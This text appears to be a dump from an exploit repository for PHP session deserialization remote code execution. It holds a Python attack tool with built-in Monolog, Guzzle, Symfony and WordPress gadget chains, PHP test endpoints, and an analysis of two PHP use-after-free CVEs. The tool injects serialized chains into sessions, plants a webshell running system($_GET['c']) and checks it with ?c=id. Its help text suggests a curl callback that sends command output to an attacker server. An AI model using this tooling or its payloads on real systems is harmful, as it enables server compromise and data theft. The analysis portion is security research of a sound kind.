"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
|
||||
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
|
||||
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
|
||||
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
}
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# HTTP helpers (raw sockets for binary payloads)
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out, data = b"", raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
|
||||
def extract_cookies(resp):
|
||||
cookies = {}
|
||||
for line in resp.split(b"\r\n"):
|
||||
if line.lower().startswith(b"set-cookie:"):
|
||||
cookie_str = line.split(b":", 1)[1].strip()
|
||||
kv = cookie_str.split(b";")[0]
|
||||
if b"=" in kv:
|
||||
k, v = kv.split(b"=", 1)
|
||||
cookies[k.strip().decode()] = v.strip().decode()
|
||||
return cookies
|
||||
|
||||
|
||||
def http_get(host, port, tls, path, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req + body_bytes)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Progress mode: multipart with upload progress + OOM
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def escape_filename(raw):
|
||||
"""Escape bytes for Content-Disposition filename= quoted string.
|
||||
NULL bytes are NOT supported (PHP truncates at \\x00)."""
|
||||
out = b""
|
||||
for byte in raw:
|
||||
if byte == ord('"'):
|
||||
out += b'\\"'
|
||||
elif byte == ord('\\'):
|
||||
out += b'\\\\'
|
||||
elif byte == 0:
|
||||
raise ValueError("NULL bytes cannot appear in multipart filenames")
|
||||
else:
|
||||
out += bytes([byte])
|
||||
return out
|
||||
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
def mp_file_with_name(bnd, fieldname, filename_raw, content):
|
||||
escaped = escape_filename(filename_raw)
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + fieldname
|
||||
+ b'"; filename="' + escaped + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
|
||||
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
|
||||
fields=30000, fsize=512):
|
||||
"""Inject chain via upload progress filename + OOM crash.
|
||||
|
||||
The filename contains |<chain>. PHP stores it in the upload
|
||||
progress data in the session file. OOM crash skips cleanup,
|
||||
leaving the poisoned session on disk.
|
||||
|
||||
NOTE: chain_bytes must not contain NULL bytes (multipart parser
|
||||
limitation). Use only chains with public properties.
|
||||
"""
|
||||
bnd = b"----DESER" + os.urandom(8).hex().encode()
|
||||
filename_payload = b"x|" + chain_bytes
|
||||
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
|
||||
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=120)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
resp = recv_all(sock, timeout=10)
|
||||
sock.close()
|
||||
return status_code(resp)
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Exploit logic
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def run_inject(args, chain_bytes):
|
||||
"""Inject mode: POST chain into session, trigger via handler mismatch."""
|
||||
inj = urlparse(args.inject_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
inj_tls = inj.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
inj_host = inj.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
inj_port = inj.port or (443 if inj_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
inj_path = inj.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
if inj.query:
|
||||
inj_path += "?" + inj.query
|
||||
if trg.query:
|
||||
trg_path += "?" + trg.query
|
||||
|
||||
# The payload: | followed by serialized chain
|
||||
# When php_serialize stores this in the session file as a
|
||||
# length-prefixed string, the | is preserved. When the php
|
||||
# handler reads the file, it finds | and deserializes what follows.
|
||||
payload = b"|" + chain_bytes
|
||||
|
||||
print("[*] Phase 1: obtaining session ID from inject endpoint...")
|
||||
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
|
||||
cookies = extract_cookies(probe)
|
||||
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
|
||||
print(f" PHPSESSID: {sid}")
|
||||
|
||||
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
|
||||
print(f" Payload size: {len(payload)} bytes")
|
||||
|
||||
# URL-encode the binary payload for form POST
|
||||
encoded_param = args.inject_param.encode() + b"="
|
||||
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
|
||||
post_body = encoded_param + encoded_value
|
||||
|
||||
resp = http_post_form(
|
||||
inj_host, inj_port, inj_tls, inj_path,
|
||||
post_body,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc = status_code(resp)
|
||||
print(f" Response: HTTP {sc}")
|
||||
if sc not in (200, 301, 302, 303, 204):
|
||||
print(f" [!] Unexpected status. Session may not have been written.")
|
||||
|
||||
print("[*] Phase 3: triggering deserialization via handler mismatch...")
|
||||
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
|
||||
|
||||
resp2 = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp2)
|
||||
body2 = body_of(resp2).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run_progress(args, chain_bytes):
|
||||
"""Progress mode: inject via upload progress filename + OOM crash."""
|
||||
wr = urlparse(args.write_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
wr_tls = wr.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
wr_host = wr.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
wr_port = wr.port or (443 if wr_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
wr_path = wr.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
|
||||
if b"\x00" in chain_bytes:
|
||||
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
|
||||
print(" via multipart filenames (PHP truncates at \\x00).")
|
||||
print(" Use --mode inject, or provide a NULL-free chain.")
|
||||
sys.exit(1)
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Session ID: {sid}")
|
||||
|
||||
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
|
||||
print(f" Fields: {args.fields} x {args.field_size}B")
|
||||
sc = progress_inject_oom(
|
||||
wr_host, wr_port, wr_tls, wr_path, sid,
|
||||
chain_bytes, args.fields, args.field_size,
|
||||
)
|
||||
if sc in (502, 0):
|
||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||
elif sc == 500:
|
||||
print(f" [+] HTTP 500 (OOM during script)")
|
||||
else:
|
||||
print(f" [!] HTTP {sc} — may not have OOMed")
|
||||
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(2)
|
||||
for _ in range(8):
|
||||
try:
|
||||
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
|
||||
if status_code(r) in (200, 301, 302, 403, 404):
|
||||
print(" New worker ready")
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(1)
|
||||
|
||||
print("[*] Phase 2: triggering deserialization via handler mismatch...")
|
||||
resp = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp)
|
||||
body2 = body_of(resp).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run(args):
|
||||
# Build or load chain
|
||||
if args.chain_file:
|
||||
with open(args.chain_file, "rb") as f:
|
||||
chain_bytes = f.read().rstrip(b"\n\r")
|
||||
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
|
||||
try:
|
||||
chain_bytes = base64.b64decode(chain_bytes)
|
||||
except Exception:
|
||||
pass
|
||||
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
|
||||
elif args.chain in CHAINS:
|
||||
info = CHAINS[args.chain]
|
||||
if info["type"] == "fw":
|
||||
if not args.write_path:
|
||||
print(f"[!] --write-path required for {args.chain} chain")
|
||||
print(" e.g., --write-path /var/www/html/shell.php")
|
||||
sys.exit(1)
|
||||
shell = args.shell_code or "<?php system($_GET['c']); ?>"
|
||||
chain_bytes = info["fn"](args.write_path, shell)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
|
||||
else:
|
||||
if not args.cmd:
|
||||
print(f"[!] --cmd required for {args.chain} chain")
|
||||
sys.exit(1)
|
||||
chain_bytes = info["fn"](args.cmd)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
|
||||
else:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
print(" Available chains: " + ", ".join(CHAINS.keys()))
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Chain size: {len(chain_bytes)} bytes")
|
||||
has_nulls = b"\x00" in chain_bytes
|
||||
if has_nulls:
|
||||
print("[*] Chain contains NULL bytes (normal for protected/private props)")
|
||||
print()
|
||||
|
||||
print("=" * 65)
|
||||
print(" PHP Session Deserialization RCE — Handler Mismatch")
|
||||
print(" No LFI. No FPM dependency.")
|
||||
print("=" * 65)
|
||||
print(f" Mode : {args.mode}")
|
||||
if args.mode == "inject":
|
||||
print(f" Inject URL : {args.inject_url}")
|
||||
print(f" Inject param: {args.inject_param}")
|
||||
else:
|
||||
print(f" Write URL : {args.write_url}")
|
||||
print(f" Trigger URL: {args.trigger_url}")
|
||||
if args.chain_file:
|
||||
print(f" Chain : {args.chain_file}")
|
||||
else:
|
||||
print(f" Chain : {args.chain}")
|
||||
print()
|
||||
|
||||
if args.mode == "inject":
|
||||
sid, sc, body = run_inject(args, chain_bytes)
|
||||
else:
|
||||
sid, sc, body = run_progress(args, chain_bytes)
|
||||
|
||||
# Post-exploit for fw chains: verify the webshell was written
|
||||
chain_info = CHAINS.get(args.chain, {})
|
||||
if chain_info.get("type") == "fw" and args.write_path:
|
||||
print()
|
||||
print("[*] Phase 4: verifying webshell...")
|
||||
|
||||
# Guess the webshell URL from write_path
|
||||
# /var/www/html/shell.php -> /shell.php
|
||||
shell_rel = args.write_path
|
||||
for prefix in ["/var/www/html", "/var/www", "/srv/http",
|
||||
"/usr/share/nginx/html"]:
|
||||
if shell_rel.startswith(prefix):
|
||||
shell_rel = shell_rel[len(prefix):]
|
||||
break
|
||||
|
||||
trg = urlparse(args.trigger_url)
|
||||
trg_tls = trg.scheme == "https"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
|
||||
verify_url = shell_rel + "?c=id"
|
||||
try:
|
||||
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
|
||||
vbody = body_of(resp).decode(errors="replace")
|
||||
if "uid=" in vbody:
|
||||
print(f" [+] Webshell works!")
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(vbody.strip())
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
|
||||
return
|
||||
else:
|
||||
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
|
||||
except Exception as e:
|
||||
print(f" [!] Could not verify: {e}")
|
||||
|
||||
if chain_info.get("type") == "cmd":
|
||||
# Command output may be in the trigger response itself,
|
||||
# or it may have run as a side effect (no visible output).
|
||||
print()
|
||||
if body.strip():
|
||||
print("[+] Trigger response body:")
|
||||
print(body[:500])
|
||||
print()
|
||||
print("[*] Command was executed during deserialization (__destruct).")
|
||||
print(" If output is not visible, use a callback payload:")
|
||||
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
|
||||
|
||||
print()
|
||||
print("[*] Deserialization triggered. If no RCE:")
|
||||
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
|
||||
print(" - Verify the POP chain matches the target's libraries")
|
||||
print(" - Try phpggc to generate a chain for the exact versions:")
|
||||
print(" phpggc -l | grep RCE")
|
||||
print(f" - Session ID was: {sid}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="PHP Session Deserialization RCE via Handler Mismatch",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
No LFI. No FPM. RCE via session.serialize_handler mismatch.
|
||||
|
||||
Examples:
|
||||
# Inject mode with Monolog file write (drops webshell):
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw --write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
%(prog)s --mode progress \\
|
||||
--write-url http://target/serialize_ep.php \\
|
||||
--trigger-url http://target/php_ep.php \\
|
||||
--chain-file chain_nofull.bin
|
||||
""")
|
||||
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
|
||||
help="Injection mode (default: inject)")
|
||||
ap.add_argument("--inject-url",
|
||||
help="URL of endpoint that stores POST data in session "
|
||||
"(must use php_serialize handler)")
|
||||
ap.add_argument("--inject-param", default="data",
|
||||
help="POST parameter stored in $_SESSION (default: data)")
|
||||
ap.add_argument("--write-url",
|
||||
help="URL of php_serialize endpoint (progress mode)")
|
||||
ap.add_argument("--trigger-url", required=True,
|
||||
help="URL of endpoint using default php handler "
|
||||
"(triggers deserialization)")
|
||||
ap.add_argument("--chain", choices=list(CHAINS.keys()),
|
||||
help="Built-in POP chain")
|
||||
ap.add_argument("--chain-file",
|
||||
help="Custom serialized chain file (e.g., phpggc output)")
|
||||
ap.add_argument("--write-path",
|
||||
help="Target file path for monolog-fw chain")
|
||||
ap.add_argument("--shell-code",
|
||||
help="PHP code for webshell (monolog-fw, default: system)")
|
||||
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
|
||||
ap.add_argument("--fields", type=int, default=30000,
|
||||
help="OOM pressure fields for progress mode (default: 30000)")
|
||||
ap.add_argument("--field-size", type=int, default=512,
|
||||
help="Bytes per OOM field (default: 512)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.mode == "inject" and not args.inject_url:
|
||||
print("[!] --inject-url required for inject mode")
|
||||
sys.exit(1)
|
||||
if args.mode == "progress" and not args.write_url:
|
||||
print("[!] --write-url required for progress mode")
|
||||
sys.exit(1)
|
||||
if not args.chain and not args.chain_file:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
sys.exit(1)
|
||||
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,22 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Direct deserialization test: loads Monolog, unserializes the chain,
|
||||
* lets __destruct fire. Should execute system('id').
|
||||
*/
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
$payload = base64_decode($argv[1] ?? '');
|
||||
if (!$payload) {
|
||||
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
|
||||
fwrite(STDERR, "Unserializing...\n");
|
||||
|
||||
$obj = unserialize($payload);
|
||||
|
||||
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
|
||||
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
|
||||
|
||||
// __destruct fires here when $obj goes out of scope
|
||||
@@ -1,25 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Test endpoint: php_serialize handler.
|
||||
* Stores POST parameters in $_SESSION.
|
||||
*
|
||||
* In the wild, this maps to any endpoint that:
|
||||
* - Uses ini_set('session.serialize_handler', 'php_serialize')
|
||||
* (Laravel, Symfony, etc.)
|
||||
* - Stores user input in $_SESSION
|
||||
*/
|
||||
ini_set('session.serialize_handler', 'php_serialize');
|
||||
session_start();
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
foreach ($_POST as $k => $v) {
|
||||
$_SESSION[$k] = $v;
|
||||
}
|
||||
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
|
||||
} else {
|
||||
echo json_encode([
|
||||
'status' => 'ready',
|
||||
'session_id' => session_id(),
|
||||
'handler' => 'php_serialize',
|
||||
]);
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* Test endpoint: default php handler.
|
||||
* Just calls session_start(). The handler mismatch causes
|
||||
* deserialization of objects injected via the php_serialize endpoint.
|
||||
*
|
||||
* In the wild, this maps to any PHP script on the same host that:
|
||||
* - Does NOT set session.serialize_handler to php_serialize
|
||||
* - Calls session_start()
|
||||
* (phpMyAdmin, legacy scripts, admin panels, etc.)
|
||||
*
|
||||
* Autoloads Monolog so deserialized objects have real classes.
|
||||
*/
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
session_start();
|
||||
|
||||
echo "OK pid=" . getmypid();
|
||||
@@ -1,393 +0,0 @@
|
||||
# CVE-2026-109618 / CVE-2026-109619: Vulnerability Analysis
|
||||
|
||||
## Overview
|
||||
|
||||
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
|
||||
(`ext/session/session.c`) contain a use-after-free exploitable over HTTP
|
||||
against Apache mod_php with **default PHP configuration**. No LFI, no
|
||||
framework dependency, no non-default settings.
|
||||
|
||||
| Property | Value |
|
||||
|---|---|
|
||||
| CVE | CVE-2026-109618, CVE-2026-109619 |
|
||||
| CVSS | 9.2 (both, per Rapid7) |
|
||||
| Affected | PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11 |
|
||||
| Patched | PHP 8.3.36, 8.4.27, 8.5.12 |
|
||||
| Prerequisites | Apache mod_php (prefork), session.upload_progress.enabled=1 (default) |
|
||||
| Exploit status | UAF crash confirmed, full RCE not achieved |
|
||||
|
||||
## Root cause
|
||||
|
||||
### CVE-2026-109618: OOM triggers longjmp past cleanup
|
||||
|
||||
When `memory_limit` is exceeded during `php_session_decode()` inside
|
||||
the RFC1867 progress callback, PHP calls `zend_mm_safe_error()` which
|
||||
invokes `zend_bailout()`. This is a `longjmp` that unwinds the call
|
||||
stack without running cleanup code, specifically
|
||||
`php_var_unserialize_destroy()`.
|
||||
|
||||
The state that survives the bailout (in `BG` module globals):
|
||||
|
||||
```c
|
||||
// ext/standard/basic_functions.c
|
||||
struct {
|
||||
uint32_t level; // should be 0, stays at 1
|
||||
php_unserialize_data_t data; // freed 8216-byte struct pointer
|
||||
} unserialize;
|
||||
```
|
||||
|
||||
`php_var_unserialize_init()` allocates a `php_unserialize_data` struct
|
||||
(8216 bytes = 3 ZendMM pages) and sets `level = 1`.
|
||||
`php_var_unserialize_destroy()` frees it and sets `level = 0`. When OOM
|
||||
fires between init and destroy, level stays at 1 and data points to
|
||||
freed memory.
|
||||
|
||||
### CVE-2026-109619: Stale state reused on next request
|
||||
|
||||
The request startup flow in `main/main.c` (lines 1784-1838) wraps the
|
||||
entire block from `zend_activate()` through `zend_activate_modules()` in
|
||||
one `zend_try/zend_catch`. The execution order:
|
||||
|
||||
1. `zend_activate()` (line 1796)
|
||||
2. `sapi_activate()` (line 1797): multipart parsing and RFC1867 callback
|
||||
3. `php_hash_environment()` (line 1833)
|
||||
4. `zend_activate_modules()` (line 1834): module RINITs run here, including `PHP_RINIT_FUNCTION(basic)` which zeros BG state
|
||||
5. `PG(modules_activated) = 1` (line 1835)
|
||||
|
||||
The RFC1867 callback at step 2 runs BEFORE RINIT at step 4. So stale
|
||||
BG state from the previous request IS used during RFC1867 decode.
|
||||
|
||||
When `php_var_unserialize_init()` is called during RFC1867 decode:
|
||||
- It checks `BG(unserialize).level`
|
||||
- If level > 0 AND `BG(serialize_lock) == 0`, it returns
|
||||
`BG(unserialize).data` (the stale, freed pointer) and increments level
|
||||
|
||||
### Why Apache prefork survives (and FPM does not)
|
||||
|
||||
**Apache prefork**: The bailout is caught by Apache's request handler.
|
||||
The child process continues its event loop. BG globals persist because
|
||||
they are module-level, not request-scoped.
|
||||
|
||||
**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer
|
||||
`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the
|
||||
worker exits. A new clean worker is spawned.
|
||||
|
||||
## OOM trigger mechanism
|
||||
|
||||
A session file with 33000 entries (~682KB) forces
|
||||
`nTableSize = 65536` during decode. The `arData` allocation:
|
||||
65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`,
|
||||
this exceeds the limit during `HashTable` resize in
|
||||
`zend_hash_real_init_mixed_ex()`.
|
||||
|
||||
The OOM triggers during `sapi_activate()` -> RFC1867 callback ->
|
||||
`php_session_initialize()` -> `php_session_decode()` -> unserialize ->
|
||||
`HashTable` resize.
|
||||
|
||||
After OOM:
|
||||
- `php_session_cancel_decode()` calls `php_session_destroy()`
|
||||
- Session file is DELETED (on unpatched PHP)
|
||||
- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct
|
||||
- Worker survives, serves new connections
|
||||
|
||||
## The UAF mechanism
|
||||
|
||||
### php_unserialize_data struct layout (8216 bytes, 3 pages)
|
||||
|
||||
```
|
||||
Offset Field Size Notes
|
||||
------ ----- ---- -----
|
||||
0 last (var_entries*) 8 Points to inline entries
|
||||
8 first_dtor 8 NULL initially
|
||||
16 last_dtor 8 NULL initially
|
||||
24 allowed_classes 8 NULL = allow all
|
||||
32 ref_props 8 NULL
|
||||
40 cur_depth 4 0
|
||||
44 (padding) 4
|
||||
48 max_depth 8 From ini setting
|
||||
56 entries.used_slots 8 0 initially
|
||||
64 entries.next 8 NULL
|
||||
72 entries.data[1018] 8144 zval* array
|
||||
8216 (end)
|
||||
```
|
||||
|
||||
### Why var_push crashes
|
||||
|
||||
After OOM, the heap is destroyed and rebuilt for the next request. The
|
||||
stale pointer references freed pages in the ZendMM chunk. Filler form
|
||||
fields in the crash trigger create 3-page `zend_string` allocations
|
||||
that consume pages sequentially. When one lands on the stale struct's
|
||||
pages (~page 288 of 512), the `zend_string` GC header overlaps the
|
||||
struct's pointer fields:
|
||||
|
||||
```
|
||||
Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4)
|
||||
Struct offset 8 (first_dtor) <- hash(8)
|
||||
Struct offset 16 (last_dtor) <- len(8)
|
||||
Struct offset 24+ <- string value (attacker-controlled)
|
||||
```
|
||||
|
||||
`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`:
|
||||
```c
|
||||
var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001
|
||||
var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address
|
||||
// SIGSEGV
|
||||
```
|
||||
|
||||
### Why var_access does NOT crash (type confusion primitive)
|
||||
|
||||
`var_access` (var_unserializer.re line 213) is used by `R:N;` and
|
||||
`r:N;` backreferences. Unlike `var_push`, it reads the INLINE entries
|
||||
at struct offset 56, NOT the `last` pointer at offset 0:
|
||||
|
||||
```c
|
||||
var_entries *var_hash = &(*var_hashx)->entries; // offset 56, not 'last'
|
||||
if (id >= var_hash->used_slots) return NULL;
|
||||
return var_hash->data[id]; // offset 72+
|
||||
```
|
||||
|
||||
Without the filler spray, the stale struct retains its request 1 layout
|
||||
at the critical fields:
|
||||
|
||||
```
|
||||
last = &entries (self-referencing, valid)
|
||||
entries.used_slots = 1 (partially overwritten by heap metadata)
|
||||
entries.data[0] = 0x780c8a923010 (stale zval* from request 1)
|
||||
```
|
||||
|
||||
When the session data contains `x|R:1;`, the unserializer calls
|
||||
`var_access(0, stale_struct)`, which reads `entries.data[0]` (the stale
|
||||
pointer) and returns it. PHP then does `ZVAL_COPY(rval, stale_zval)`.
|
||||
|
||||
The stale zval's type matches whatever the first OOM session entry was:
|
||||
|
||||
| OOM session first value | Stale zval type | Result |
|
||||
|---|---|---|
|
||||
| String (e.g. `s:8000:"BBB..."`) | IS_STRING | Original string content intact |
|
||||
| Integer (e.g. `i:42;`) | IS_LONG | Original integer value |
|
||||
| Boolean (e.g. `b:1;`) | IS_TRUE | Original boolean value |
|
||||
| Object (e.g. `O:8:"stdClass":0:{}`) | IS_OBJECT | CRASH (freed zend_object dereference) |
|
||||
| Array (e.g. `a:0:{}`) | IS_ARRAY | Self-referencing `$_SESSION` (infinite recursion) |
|
||||
|
||||
The cached ZendMM chunk retains page data across requests (only the
|
||||
chunk header metadata is zeroed, not the data pages). This means the
|
||||
stale zval at `entries.data[0]` contains the **attacker's own data**
|
||||
from request 1, not leaked heap memory or code pointers.
|
||||
|
||||
This is a confirmed type confusion, but it does NOT provide an info
|
||||
leak. The value appears in `$_SESSION['x']` and is accessible to the
|
||||
main PHP script, but only contains data the attacker already knows.
|
||||
|
||||
### Why filler spray and type confusion are mutually exclusive
|
||||
|
||||
